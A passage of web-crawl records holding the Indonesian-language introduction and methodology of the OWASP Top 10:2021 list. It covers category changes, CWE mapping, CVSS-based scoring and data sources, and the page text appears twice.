disusun\n\nBeberapa kategori telah berubah dari pemasangan OWASP Top 10 sebelumnya. Berikut adalah ringkasan tingkat tinggi dari perubahan kategori\n\nUpaya pengumpulan data sebelumnya difokuskan pada subset yang ditentukan sekitar 30 CWE dengan bidang yang meminta temuan tambahan. Kami mengetahui bahwa organisasi akan fokus hanya pada 30 CWE tersebut dan jarang menambahkan CWE tambahan yang mereka lihat. Dalam iterasi ini, kami membukanya dan hanya meminta data, tanpa batasan pada CWE. Kami meminta jumlah aplikasi yang diuji untuk tahun tertentu (mulai 2017), dan jumlah aplikasi dengan setidaknya satu contoh CWE yang ditemukan dalam pengujian. Format ini memungkinkan kami untuk melacak seberapa lazim setiap CWE dalam populasi aplikasi. Kami mengabaikan frekuensi untuk tujuan kami; sementara mungkin diperlukan untuk situasi lain, itu hanya menyembunyikan prevalensi aktual dalam populasi aplikasi. Apakah sebuah aplikasi memiliki empat instans CWE atau 4.000 instans bukanlah bagian dari perhitungan untuk 10 Besar. Kami beralih dari sekitar 30 CWE menjadi hampir 400 CWE untuk dianalisis dalam kumpulan data. Kami berencana untuk melakukan analisis data tambahan sebagai suplemen di masa depan. Peningkatan jumlah CWE yang signifikan ini memerlukan perubahan pada struktur kategori.\n\nKami menghabiskan beberapa bulan untuk mengelompokkan dan mengkategorikan CWE dan dapat melanjutkannya selama beberapa bulan lagi. Kami harus berhenti di beberapa titik. Ada akar penyebab dan jenis gejala CWE, di mana jenis akar penyebab seperti \"Kegagalan Kriptografis\" dan \"Kesalahan Konfigurasi\" kontras dengan jenis gejala seperti \"Pengungkapan Data Sensitif\" dan \"Penolakan Layanan.\" Kami memutuskan untuk fokus pada akar penyebab bila memungkinkan karena lebih logis untuk memberikan panduan identifikasi dan perbaikan. Berfokus pada akar penyebab di atas gejala bukanlah konsep baru; Sepuluh Besar telah menjadi campuran gejala dan akar penyebab. CWE juga merupakan campuran dari gejala dan akar penyebab; kami hanya menjadi lebih berhati-hati tentang hal itu dan menyebutnya. Ada rata-rata 19,6 CWE per kategori dalam pemasangan ini, dengan batas bawah pada 1 CWE untuk A10:2021-Server-Side Request Forgery (SSRF) hingga 40 CWE dalam A04:2021-Insecure Design. Struktur kategori yang diperbarui ini menawarkan manfaat pelatihan tambahan karena perusahaan dapat fokus pada CWE yang masuk akal untuk bahasa/kerangka kerja.\n\n## Bagaimana data digunakan untuk memilih kategori\n\nPada tahun 2017, kami memilih kategori berdasarkan tingkat insiden untuk menentukan kemungkinan, lalu memeringkatnya berdasarkan diskusi tim berdasarkan pengalaman puluhan tahun untuk Exploitability, Detectability (juga kemungkinan), dan Dampak Teknis. Untuk tahun 2021, kami ingin menggunakan data untuk Exploitability and Impact jika memungkinkan.\n\nKami mengunduh Pemeriksaan Ketergantungan OWASP dan mengekstrak Eksploitasi CVSS, dan skor Dampak yang dikelompokkan berdasarkan CWE terkait. Butuh sedikit riset dan usaha karena semua CVE memiliki skor CVSSv2, tetapi ada kekurangan dalam CVSSv2 yang harus diatasi oleh CVSSv3. Setelah titik waktu tertentu, semua CVE juga diberi skor CVSSv3. Selain itu, rentang penilaian dan formula diperbarui antara CVSSv2 dan CVSSv3.\n\nDi CVSSv2, Eksploitasi dan Dampak bisa mencapai 10,0, tetapi rumusnya akan menjatuhkannya hingga 60% untuk Eksploitasi dan 40% untuk Dampak. Di CVSSv3, maks secara teori dibatasi hingga 6,0 untuk Eksploitasi dan 4,0 untuk Dampak. Dengan mempertimbangkan pembobotan, skor Dampak bergeser lebih tinggi, rata-rata hampir satu setengah poin di CVSSv3, dan kemampuan eksploitasi turun rata-rata hampir setengah poin.\n\nAda 125 ribu catatan CVE yang dipetakan ke CWE dalam data NVD yang diekstraksi dari OWASP Dependency Check, dan ada 241 CWE unik yang dipetakan ke CVE. Peta CWE 62 ribu memiliki skor CVSSv3, yang kira-kira setengah dari populasi dalam kumpulan data.\n\nUntuk Top 10, kami menghitung rata-rata skor eksploitasi dan dampak dengan cara berikut. Kami mengelompokkan semua CVE dengan skor CVSS berdasarkan CWE dan memberi bobot pada skor eksploitasi dan dampak berdasarkan persentase populasi yang memiliki skor CVSSv3 + populasi yang tersisa dari skor CVSSv2 untuk mendapatkan rata-rata keseluruhan. Kami memetakan rata-rata ini ke CWE dalam kumpulan data untuk digunakan sebagai skor Eksploitasi dan Dampak untuk separuh persamaan risiko lainnya.\n\n## Kenapa tidak hanya bersumber dari data statistik murni?\n\nHasil dalam data utamanya terbatas pada apa yang dapat kami uji secara otomatis. Bicaralah dengan seorang Profesional AppSec, dan mereka akan memberi tahu Anda tentang hal-hal yang mereka temukan dan tren yang mereka lihat yang belum ada dalam data. Dibutuhkan waktu bagi orang untuk mengembangkan metodologi pengujian untuk jenis kerentanan tertentu dan kemudian lebih banyak waktu agar pengujian tersebut diotomatisasi dan dijalankan terhadap populasi aplikasi yang besar. Semua yang kami temukan adalah melihat kembali ke masa lalu dan mungkin kehilangan tren dari tahun lalu, yang tidak ada dalam data.\n\nOleh karena itu, kami hanya memilih delapan dari sepuluh kategori dari data karena tidak lengkap. Dua kategori lainnya berasal dari survei industri. Hal ini memungkinkan para praktisi di garis depan untuk memilih apa yang mereka lihat sebagai risiko tertinggi yang mungkin tidak ada dalam data (dan mungkin tidak pernah diungkapkan dalam data).\n\n## Mengapa tingkatan insiden bukan bersumber dari frekuensi?\n\nAda tiga sumber data utama. Kami mengidentifikasi mereka sebagai Human-assisted Tooling (HaT), Tool-assisted Human (TaH), dan raw Tooling.\n\nTooling dan HaT adalah generator pencarian frekuensi tinggi. Alat akan mencari kerentanan tertentu dan tanpa lelah berusaha untuk menemukan setiap contoh kerentanan itu dan akan menghasilkan jumlah temuan yang tinggi untuk beberapa jenis kerentanan. Lihatlah Cross-Site Scripting, yang biasanya merupakan salah satu dari dua rasa: itu kesalahan kecil yang terisolasi atau masalah sistemik. Jika ini merupakan masalah sistemik, jumlah temuan bisa mencapai ribuan untuk sebuah aplikasi. Frekuensi tinggi ini menenggelamkan sebagian besar kerentanan lain yang ditemukan dalam laporan atau data.\nTaH, di sisi lain, akan menemukan jenis kerentanan yang lebih luas tetapi pada frekuensi yang jauh lebih rendah karena kendala waktu. Ketika manusia menguji aplikasi dan melihat sesuatu seperti Cross-Site Scripting, mereka biasanya akan menemukan tiga atau empat instance dan berhenti. Mereka dapat menentukan temuan sistemik dan menuliskannya dengan rekomendasi untuk diperbaiki pada skala aplikasi yang luas. Tidak perlu (atau waktu) untuk menemukan setiap contoh.\n\nMisalkan kita mengambil dua kumpulan data yang berbeda ini dan mencoba menggabungkannya pada frekuensi. Dalam hal ini, data Tooling dan HaT akan menenggelamkan data TaH yang lebih akurat (tetapi luas) dan merupakan bagian yang baik dari mengapa sesuatu seperti Cross-Site Scripting memiliki peringkat yang sangat tinggi di banyak daftar ketika dampaknya umumnya rendah hingga sedang. Itu karena banyaknya temuan. (Cross-Site Scripting juga cukup mudah untuk diuji, jadi ada lebih banyak tes untuk itu juga).\nPada tahun 2017, kami memperkenalkan penggunaan tingkat insiden sebagai gantinya untuk melihat data baru dan menggabungkan data Tooling dan HaT dengan data TaH dengan rapi. Tingkat insiden menanyakan berapa persentase populasi aplikasi yang memiliki setidaknya satu contoh jenis kerentanan. Kami tidak peduli apakah itu satu kali atau sistemik. Itu tidak relevan untuk tujuan kita; kita hanya perlu mengetahui berapa banyak aplikasi yang memiliki setidaknya satu instance, yang membantu memberikan pandangan yang lebih jelas tentang pengujian temuan di beberapa jenis pengujian tanpa menenggelamkan data dalam hasil frekuensi tinggi.\n\n## Apa proses pengumpulan dan analisis data Anda?\n\nKami meresmikan proses pengumpulan data OWASP Top 10 di Open Security Summit pada 2017. Para Leader OWASP Top 10 dan komunitas telah menghabiskan dua hari untuk memformalkan proses pengumpulan data yang transparan. Edisi 2021 adalah kedua kalinya kami menggunakan metodologi ini.\nKami mempublikasikan panggilan untuk data melalui saluran media sosial yang tersedia untuk kami, baik projek maupun OWASP. Pada halaman Projek OWASP, kami mencantumkan elemen dan struktur data yang kami cari dan cara mengirimkannya. Dalam proyek GitHub, kami memiliki file contoh yang berfungsi sebagai template. Kami bekerja dengan organisasi yang diperlukan untuk membantu mengetahui struktur dan pemetaan ke CWE.\nKami mendapatkan data dari organisasi yang menguji vendor berdasarkan perdagangan, vendor bug bounty, dan organisasi yang menyumbangkan data pengujian internal. Setelah kami memiliki data, kami memuatnya bersama dan menjalankan analisis fundamental tentang apa yang dipetakan CWE ke kategori risiko. Ada tumpang tindih antara beberapa CWE, dan yang lainnya sangat erat kaitannya (mis. Kerentanan kriptografis). Setiap keputusan yang terkait dengan data mentah yang dikirimkan didokumentasikan dan dipublikasikan agar terbuka dan transparan dengan cara kami menormalkan data.\n\nKami melihat delapan kategori dengan tingkat insiden tertinggi untuk dimasukkan dalam Top 10. Kami juga melihat hasil survei industri untuk melihat mana yang mungkin sudah ada dalam data. Dua suara teratas yang belum ada dalam data akan dipilih untuk dua tempat lainnya di Top 10. Setelah kesepuluh dipilih, kami menerapkan faktor umum untuk eksploitabilitas dan dampak; untuk membantu menentukan peringkat 10 Besar secara berurutan.\n\n## Faktor-faktor Data\n\nAda data faktor yang dicantumkan untuk masing-masing dari 10 Kategori Teratas, berikut artinya:\n\n- CWEs Mapped: Jumlah CWE yang dipetakan ke kategori oleh 10 tim teratas.\n- Incidence Rate: Tingkat insiden adalah persentase aplikasi yang rentan terhadap CWE tersebut dari populasi yang diuji oleh organisasi tersebut untuk tahun tersebut.\n- (Pengujian) Cakupan: Persentase aplikasi yang diuji oleh semua organisasi untuk CWE tertentu.\n- Weighted Exploit: Sub-skor Eksploitasi dari skor CVSSv2 dan CVSSv3 yang ditetapkan ke CVE yang dipetakan ke CWE, dinormalisasi, dan ditempatkan pada skala 10pt.\n- Weighted Impact: Sub-skor Dampak dari skor CVSSv2 dan CVSSv3 yang ditetapkan ke CVE dipetakan ke CWE, dinormalisasi, dan ditempatkan pada skala 10pt.\n- Total Kejadian: Jumlah total aplikasi yang ditemukan memiliki CWE yang dipetakan ke suatu kategori.\n- Total CVE: Jumlah total CVE dalam NVD DB yang dipetakan ke CWE yang dipetakan ke suatu kategori.\n\n### Hubungan Kategori dari 2017\n\nAda banyak pembicaraan tentang tumpang tindih antara risiko Top 10. Menurut definisi masing-masing (daftar CWE yang termasuk), sebenarnya tidak ada tumpang tindih. Namun, secara konseptual, dapat terjadi tumpang tindih atau interaksi berdasarkan penamaan tingkat yang lebih tinggi. Diagram Venn berkali-kali digunakan untuk menunjukkan tumpang tindih seperti ini.\n\nDiagram Venn di atas merepresentasikan interaksi antara Sepuluh Kategori Risiko Teratas 2017. Saat melakukannya, beberapa poin penting menjadi jelas:\n\n1. Orang bisa berargumen bahwa Cross-Site Scripting pada akhirnya termasuk dalam Injeksi karena pada dasarnya adalah Injeksi Konten. Melihat data tahun 2021, semakin jelas bahwa XSS perlu pindah ke Injeksi.\n2. Tumpang tindih hanya satu arah. Kita akan sering mengklasifikasikan kerentanan berdasarkan manifestasi akhir atau \"gejala\", bukan akar penyebab (yang berpotensi dalam). Misalnya, \"Pengungkapan Data Sensitif\" mungkin merupakan hasil dari \"Kesalahan Konfigurasi Keamanan\"; namun, Anda tidak akan melihatnya ke arah lain. Akibatnya, panah digambar di zona interaksi untuk menunjukkan arah mana itu terjadi.\n3. Terkadang diagram ini digambar dengan semua yang ada di A06:2021 Menggunakan Komponen dengan Kerentanan yang Diketahui. Sementara beberapa kategori risiko ini mungkin menjadi akar penyebab kerentanan pihak ketiga, mereka umumnya dikelola secara berbeda dan dengan tanggung jawab yang berbeda. Jenis lainnya biasanya mewakili risiko pihak pertama.\n\n### Terima kasih kepada kontributor data kami\n\nOrganisasi berikut (bersama dengan beberapa donor anonim) dengan baik hati menyumbangkan data untuk lebih dari 500.000 aplikasi untuk menjadikan ini kumpulan data keamanan aplikasi terbesar dan terlengkap. Tanpa Anda, ini tidak akan mungkin.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Thank you to our sponsor\n\nThe OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior.", "znaku_textu": 17745, "slov": 2509, "odkazu": 46, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:42", "sha256": "fa7966c2745bb939c32f042c625f6ba58fe64eaed19f9cc2d4a1150e97f432bf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/id/index.html", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "Pengantar", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/id/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Pengantar"}, {"uroven": 2, "text": "Selamat datang ke OWASP Top 10 - 2021"}, {"uroven": 2, "text": "Apa yang berubah di Top 10 untuk 2021"}, {"uroven": 2, "text": "Metodologi"}, {"uroven": 2, "text": "Bagaimana kategori disusun"}, {"uroven": 2, "text": "Bagaimana data digunakan untuk memilih kategori"}, {"uroven": 2, "text": "Kenapa tidak hanya bersumber dari data statistik murni?"}, {"uroven": 2, "text": "Mengapa tingkatan insiden bukan bersumber dari frekuensi?"}, {"uroven": 2, "text": "Apa proses pengumpulan dan analisis data Anda?"}, {"uroven": 2, "text": "Faktor-faktor Data"}, {"uroven": 3, "text": "Hubungan Kategori dari 2017"}, {"uroven": 3, "text": "Terima kasih kepada kontributor data kami"}, {"uroven": 2, "text": "Thank you to our sponsor"}], "markdown": "# Pengantar\n\n## Selamat datang ke OWASP Top 10 - 2021\n\nSelamat datang ke versi terakhir dari OWASP Top 10! OWASP Top 10 2021 semua baru, dengan desain grafis baru dan suatu infografis satu-halaman yang dapat Anda cetak atau dapatkan dari beranda kami.\n\nTerima kasih sebesar-besarnya ke semua orang yang menyumbangkan waktu dan data mereka ke iterasi ini. Tanpa Anda, versi ini tidak akan ada. **TERIMA KASIH**\n\n## Apa yang berubah di Top 10 untuk 2021\n\nTerdapat tiga kategori baru, empat kategori dengan penamaan dan perbuahan ruang lingkup, dan beberapa konsolidasi baru di Top 10 untuk 2021\n\n- **A01:2021-Broken Access Control** naik dari posisi kelima; 94% dari aplikasi yang telah diuji dengan broken access kontrol dalam beberapa bentuk. 34 CWE yang dipetakan ke Broken Access Control memiliki lebih banyak kemunculan dalam aplikasi daripada kategori lainnya.\n- **A02:2021-Cryptographic Failures** menggeser satu posisi menjadi #2, sebelumnya dikenal sebagai Pengungkapan Data Sensitif, yang merupakan gejala luas dan bukan penyebab utama. Fokus baru di sini adalah pada kegagalan yang terkait dengan Kriptografi yang sering mengarah pada Pengungkapan Data Sensitif atau sistem yang telah terinfeksi oleh hacker.\n- **A03:2021-Injection** turun ke posisi ketiga. 94% aplikasi diuji untuk beberapa bentuk injeksi, dan 33 CWE yang dipetakan ke dalam kategori ini memiliki kejadian terbanyak kedua dalam aplikasi. Skrip cross-site sekarang menjadi bagian dari kategori ini dalam edisi ini.\n- **A04:2021-Insecure Design** adalah kategori baru untuk tahun 2021, dengan fokus pada resiko yang terkait dengan kekurangan desain. Jika kita ingin benar-benar bergerak sebagai industri, itu membutuhkan lebih banyak penggunaan pemodelan ancaman, pola dan desain yang aman, dan arsitektur referensi\n- **A05:2021-Security Misconfiguration** naik dari #6 di edisi sebelumnya; 90% aplikasi diuji untuk beberapa bentuk kesalahan konfigurasi. Dengan lebih banyak perubahan ke software dengan konfigurasi yang banyak, tidak mengherankan melihat kategori ini naik. Kategori sebelumnya untuk XML External Entities (XXE) sekarang menjadi bagian dari kategori ini.\n- **A06:2021-Vulnerable and Outdated Components** sebelumnya berjudul Using Components with Known Vulnerabilities dan #2 dalam survei industri, tapi juga memiliki cukup data untuk masuk TOP 10 melalui analisis data. Kategori ini naik dari #9 di tahun 2017 dan merupakan masalah umum yang kami perjuangkan untuk menguji dan menilai resiko. Ini adalah satu-satunya kategori yang tidak memiliki CVE yang dipetakan ke CWE yang disertakan, jadi eksploitasi default dan bobot dampak 5.0 diperhitungkan dalam skornya.\n- **A07:2021-Identification and Authentication Failures** sebelumnya dalah Broken Authentication dan turun dari posisi kedua, dan sekarang termasuk CWE yang lebih terkait dengan kegagalan identifikasi. Kategori ini masih merupakan bagian integral dari Top 10, tetapi peningkatan ketersediaan framework yang telah distandarisasi tampaknya membantu.\n- **A08:2021-Software and Data Integrity Failures** adalah kategori baru untuk tahun 2021, yang berfokus pada pembuatan asusmsi terkait pembaruan perangkat lunak, data penting, dan pipeline CI/CD tanpa memverifikasi integritas. Salah satu dampak tertinggi dari CVE/CVSS yang dipetakan ke 10 CWE dalam kategori ini. Insecure Deserialization dari tahun 2017 sekarang menjadi bagian dari kategori yang lebih besar ini.\n- **A09:2021-Security Logging and Monitoring Failures** sebelumnya Logging dan Monitoring tidak memadai dan ditambahkan dari survei industri (#3), naik dari #10 sebelumnya. Kategori ini diperluas untuk mencakup lebih banyak jenis kegagalan, suatu tantangan untuk diiuji, dan tidak terwakili dengan baik dalam data CVE/CVSS. Namun, kegagalan dalam kategori ini dapat secara langsung mempengaruhi visibilitas, alert pada insiden, dan forensik\n- **A10:2021-Server-Side Request Forgery** ditambahkan dari survei industri (#1). Data menunjukkan tingkat insiden yang relatif rendah dengan cakupan pengujian di atas rata-rata, bersama dengan peringkat di atas rata-rata untuk potensi eksploitasi dan dampak. Kategori ini mewakili skenario di mana para profesional industri memberi tahu kami bahwa ini penting, meskipun tidak diilustrasikan dalam data saat ini.\n\n## Metodologi\n\nPenyusunan dari Top 10 ini lebih didorong oleh data daripada sebelumnya tetapi tidak didorong oleh data yang tidak di verifikasi dahulu. Kami memilih delapan dari sepuluh kategori dari kontribusi data dan 2 kategori dari survei industri tingkat tinggi. Kami melakukan ini karena alasan mendasar, melihat data yang telah dikumpulkan sama dengan melihat ke masa lalu. Peneliti AppSec membutuhkan waktu untuk menemukan kerentanan baru dan cara baru untuk mengujinya. Dibutuhkan waktu untuk mengintegrasikan tes ini ke dalam alat dan proses. Pada saat kita dapat dengan andal menguji kelemahan dalam skala, tahun-tahun kemungkinan telah berlalu. Untuk menyeimbangkan pandangan itu, kami menggunakan survei industri untuk bertanya kepada orang-orang di garis depan apa yang mereka lihat sebagai kelemahan penting yang mungkin belum ditunjukkan oleh data.\n\nAda beberapa perubahan penting yang kami adopsi untuk terus mematangkan Top 10.\n\n## Bagaimana kategori disusun\n\nBeberapa kategori telah berubah dari pemasangan OWASP Top 10 sebelumnya. Berikut adalah ringkasan tingkat tinggi dari perubahan kategori\n\nUpaya pengumpulan data sebelumnya difokuskan pada subset yang ditentukan sekitar 30 CWE dengan bidang yang meminta temuan tambahan. Kami mengetahui bahwa organisasi akan fokus hanya pada 30 CWE tersebut dan jarang menambahkan CWE tambahan yang mereka lihat. Dalam iterasi ini, kami membukanya dan hanya meminta data, tanpa batasan pada CWE. Kami meminta jumlah aplikasi yang diuji untuk tahun tertentu (mulai 2017), dan jumlah aplikasi dengan setidaknya satu contoh CWE yang ditemukan dalam pengujian. Format ini memungkinkan kami untuk melacak seberapa lazim setiap CWE dalam populasi aplikasi. Kami mengabaikan frekuensi untuk tujuan kami; sementara mungkin diperlukan untuk situasi lain, itu hanya menyembunyikan prevalensi aktual dalam populasi aplikasi. Apakah sebuah aplikasi memiliki empat instans CWE atau 4.000 instans bukanlah bagian dari perhitungan untuk 10 Besar. Kami beralih dari sekitar 30 CWE menjadi hampir 400 CWE untuk dianalisis dalam kumpulan data. Kami berencana untuk melakukan analisis data tambahan sebagai suplemen di masa depan. Peningkatan jumlah CWE yang signifikan ini memerlukan perubahan pada struktur kategori.\n\nKami menghabiskan beberapa bulan untuk mengelompokkan dan mengkategorikan CWE dan dapat melanjutkannya selama beberapa bulan lagi. Kami harus berhenti di beberapa titik. Ada akar penyebab dan jenis gejala CWE, di mana jenis akar penyebab seperti \"Kegagalan Kriptografis\" dan \"Kesalahan Konfigurasi\" kontras dengan jenis gejala seperti \"Pengungkapan Data Sensitif\" dan \"Penolakan Layanan.\" Kami memutuskan untuk fokus pada akar penyebab bila memungkinkan karena lebih logis untuk memberikan panduan identifikasi dan perbaikan. Berfokus pada akar penyebab di atas gejala bukanlah konsep baru; Sepuluh Besar telah menjadi campuran gejala dan akar penyebab. CWE juga merupakan campuran dari gejala dan akar penyebab; kami hanya menjadi lebih berhati-hati tentang hal itu dan menyebutnya. Ada rata-rata 19,6 CWE per kategori dalam pemasangan ini, dengan batas bawah pada 1 CWE untuk A10:2021-Server-Side Request Forgery (SSRF) hingga 40 CWE dalam A04:2021-Insecure Design. Struktur kategori yang diperbarui ini menawarkan manfaat pelatihan tambahan karena perusahaan dapat fokus pada CWE yang masuk akal untuk bahasa/kerangka kerja.\n\n## Bagaimana data digunakan untuk memilih kategori\n\nPada tahun 2017, kami memilih kategori berdasarkan tingkat insiden untuk menentukan kemungkinan, lalu memeringkatnya berdasarkan diskusi tim berdasarkan pengalaman puluhan tahun untuk Exploitability, Detectability (juga kemungkinan), dan Dampak Teknis. Untuk tahun 2021, kami ingin menggunakan data untuk Exploitability and Impact jika memungkinkan.\n\nKami mengunduh Pemeriksaan Ketergantungan OWASP dan mengekstrak Eksploitasi CVSS, dan skor Dampak yang dikelompokkan berdasarkan CWE terkait. Butuh sedikit riset dan usaha karena semua CVE memiliki skor CVSSv2, tetapi ada kekurangan dalam CVSSv2 yang harus diatasi oleh CVSSv3. Setelah titik waktu tertentu, semua CVE juga diberi skor CVSSv3. Selain itu, rentang penilaian dan formula diperbarui antara CVSSv2 dan CVSSv3.\n\nDi CVSSv2, Eksploitasi dan Dampak bisa mencapai 10,0, tetapi rumusnya akan menjatuhkannya hingga 60% untuk Eksploitasi dan 40% untuk Dampak. Di CVSSv3, maks secara teori dibatasi hingga 6,0 untuk Eksploitasi dan 4,0 untuk Dampak. Dengan mempertimbangkan pembobotan, skor Dampak bergeser lebih tinggi, rata-rata hampir satu setengah poin di CVSSv3, dan kemampuan eksploitasi turun rata-rata hampir setengah poin.\n\nAda 125 ribu catatan CVE yang dipetakan ke CWE dalam data NVD yang diekstraksi dari OWASP Dependency Check, dan ada 241 CWE unik yang dipetakan ke CVE. Peta CWE 62 ribu memiliki skor CVSSv3, yang kira-kira setengah dari populasi dalam kumpulan data.\n\nUntuk Top 10, kami menghitung rata-rata skor eksploitasi dan dampak dengan cara berikut. Kami mengelompokkan semua CVE dengan skor CVSS berdasarkan CWE dan memberi bobot pada skor eksploitasi dan dampak berdasarkan persentase populasi yang memiliki skor CVSSv3 + populasi yang tersisa dari skor CVSSv2 untuk mendapatkan rata-rata keseluruhan. Kami memetakan rata-rata ini ke CWE dalam kumpulan data untuk digunakan sebagai skor Eksploitasi dan Dampak untuk separuh persamaan risiko lainnya.\n\n## Kenapa tidak hanya bersumber dari data statistik murni?\n\nHasil dalam data utamanya terbatas pada apa yang dapat kami uji secara otomatis. Bicaralah dengan seorang Profesional AppSec, dan mereka akan memberi tahu Anda tentang hal-hal yang mereka temukan dan tren yang mereka lihat yang belum ada dalam data. Dibutuhkan waktu bagi orang untuk mengembangkan metodologi pengujian untuk jenis kerentanan tertentu dan kemudian lebih banyak waktu agar pengujian tersebut diotomatisasi dan dijalankan terhadap populasi aplikasi yang besar. Semua yang kami temukan adalah melihat kembali ke masa lalu dan mungkin kehilangan tren dari tahun lalu, yang tidak ada dalam data.\n\nOleh karena itu, kami hanya memilih delapan dari sepuluh kategori dari data karena tidak lengkap. Dua kategori lainnya berasal dari survei industri. Hal ini memungkinkan para praktisi di garis depan untuk memilih apa yang mereka lihat sebagai risiko tertinggi yang mungkin tidak ada dalam data (dan mungkin tidak pernah diungkapkan dalam data).\n\n## Mengapa tingkatan insiden bukan bersumber dari frekuensi?\n\nAda tiga sumber data utama. Kami mengidentifikasi mereka sebagai Human-assisted Tooling (HaT), Tool-assisted Human (TaH), dan raw Tooling.\n\nTooling dan HaT adalah generator pencarian frekuensi tinggi. Alat akan mencari kerentanan tertentu dan tanpa lelah berusaha untuk menemukan setiap contoh kerentanan itu dan akan menghasilkan jumlah temuan yang tinggi untuk beberapa jenis kerentanan. Lihatlah Cross-Site Scripting, yang biasanya merupakan salah satu dari dua rasa: itu kesalahan kecil yang terisolasi atau masalah sistemik. Jika ini merupakan masalah sistemik, jumlah temuan bisa mencapai ribuan untuk sebuah aplikasi. Frekuensi tinggi ini menenggelamkan sebagian besar kerentanan lain yang ditemukan dalam laporan atau data.\nTaH, di sisi lain, akan menemukan jenis kerentanan yang lebih luas tetapi pada frekuensi yang jauh lebih rendah karena kendala waktu. Ketika manusia menguji aplikasi dan melihat sesuatu seperti Cross-Site Scripting, mereka biasanya akan menemukan tiga atau empat instance dan berhenti. Mereka dapat menentukan temuan sistemik dan menuliskannya dengan rekomendasi untuk diperbaiki pada skala aplikasi yang luas. Tidak perlu (atau waktu) untuk menemukan setiap contoh.\n\nMisalkan kita mengambil dua kumpulan data yang berbeda ini dan mencoba menggabungkannya pada frekuensi. Dalam hal ini, data Tooling dan HaT akan menenggelamkan data TaH yang lebih akurat (tetapi luas) dan merupakan bagian yang baik dari mengapa sesuatu seperti Cross-Site Scripting memiliki peringkat yang sangat tinggi di banyak daftar ketika dampaknya umumnya rendah hingga sedang. Itu karena banyaknya temuan. (Cross-Site Scripting juga cukup mudah untuk diuji, jadi ada lebih banyak tes untuk itu juga).\nPada tahun 2017, kami memperkenalkan penggunaan tingkat insiden sebagai gantinya untuk melihat data baru dan menggabungkan data Tooling dan HaT dengan data TaH dengan rapi. Tingkat insiden menanyakan berapa persentase populasi aplikasi yang memiliki setidaknya satu contoh jenis kerentanan. Kami tidak peduli apakah itu satu kali atau sistemik. Itu tidak relevan untuk tujuan kita; kita hanya perlu mengetahui berapa banyak aplikasi yang memiliki setidaknya satu instance, yang membantu memberikan pandangan yang lebih jelas tentang pengujian temuan di beberapa jenis pengujian tanpa menenggelamkan data dalam hasil frekuensi tinggi.\n\n## Apa proses pengumpulan dan analisis data Anda?\n\nKami meresmikan proses pengumpulan data OWASP Top 10 di Open Security Summit pada 2017. Para Leader OWASP Top 10 dan komunitas telah menghabiskan dua hari untuk memformalkan proses pengumpulan data yang transparan. Edisi 2021 adalah kedua kalinya kami menggunakan metodologi ini.\nKami mempublikasikan panggilan untuk data melalui saluran media sosial yang tersedia untuk kami, baik projek maupun OWASP. Pada halaman Projek OWASP, kami mencantumkan elemen dan struktur data yang kami cari dan cara mengirimkannya. Dalam proyek GitHub, kami memiliki file contoh yang berfungsi sebagai template. Kami bekerja dengan organisasi yang diperlukan untuk membantu mengetahui struktur dan pemetaan ke CWE.\nKami mendapatkan data dari organisasi yang menguji vendor berdasarkan perdagangan, vendor bug bounty, dan organisasi yang menyumbangkan data pengujian internal. Setelah kami memiliki data, kami memuatnya bersama dan menjalankan analisis fundamental tentang apa yang dipetakan CWE ke kategori risiko. Ada tumpang tindih antara beberapa CWE, dan yang lainnya sangat erat kaitannya (mis. Kerentanan kriptografis). Setiap keputusan yang terkait dengan data mentah yang dikirimkan didokumentasikan dan dipublikasikan agar terbuka dan transparan dengan cara kami menormalkan data.\n\nKami melihat delapan kategori dengan tingkat insiden tertinggi untuk dimasukkan dalam Top 10. Kami juga melihat hasil survei industri untuk melihat mana yang mungkin sudah ada dalam data. Dua suara teratas yang belum ada dalam data akan dipilih untuk dua tempat lainnya di Top 10. Setelah kesepuluh dipilih, kami menerapkan faktor umum untuk eksploitabilitas dan dampak; untuk membantu menentukan peringkat 10 Besar secara berurutan.\n\n## Faktor-faktor Data\n\nAda data faktor yang dicantumkan untuk masing-masing dari 10 Kategori Teratas, berikut artinya:\n\n- CWEs Mapped: Jumlah CWE yang dipetakan ke kategori oleh 10 tim teratas.\n- Incidence Rate: Tingkat insiden adalah persentase aplikasi yang rentan terhadap CWE tersebut dari populasi yang diuji oleh organisasi tersebut untuk tahun tersebut.\n- (Pengujian) Cakupan: Persentase aplikasi yang diuji oleh semua organisasi untuk CWE tertentu.\n- Weighted Exploit: Sub-skor Eksploitasi dari skor CVSSv2 dan CVSSv3 yang ditetapkan ke CVE yang dipetakan ke CWE, dinormalisasi, dan ditempatkan pada skala 10pt.\n- Weighted Impact: Sub-skor Dampak dari skor CVSSv2 dan CVSSv3 yang ditetapkan ke CVE dipetakan ke CWE, dinormalisasi, dan ditempatkan pada skala 10pt.\n- Total Kejadian: Jumlah total aplikasi yang ditemukan memiliki CWE yang dipetakan ke suatu kategori.\n- Total CVE: Jumlah total CVE dalam NVD DB yang dipetakan ke CWE yang dipetakan ke suatu kategori.\n\n### Hubungan Kategori dari 2017\n\nAda banyak pembicaraan tentang tumpang tindih antara risiko Top 10. Menurut definisi masing-masing (daftar CWE yang termasuk), sebenarnya tidak ada tumpang tindih. Namun, secara konseptual, dapat terjadi tumpang tindih atau interaksi berdasarkan penamaan tingkat yang lebih tinggi. Diagram Venn berkali-kali digunakan untuk menunjukkan tumpang tindih seperti ini.\n\nDiagram Venn di atas merepresentasikan interaksi antara Sepuluh Kategori Risiko Teratas 2017. Saat melakukannya, beberapa poin penting menjadi jelas:\n\n1. Orang bisa berargumen bahwa Cross-Site Scripting pada akhirnya termasuk dalam Injeksi karena pada dasarnya adalah Injeksi Konten. Melihat data tahun 2021, semakin jelas 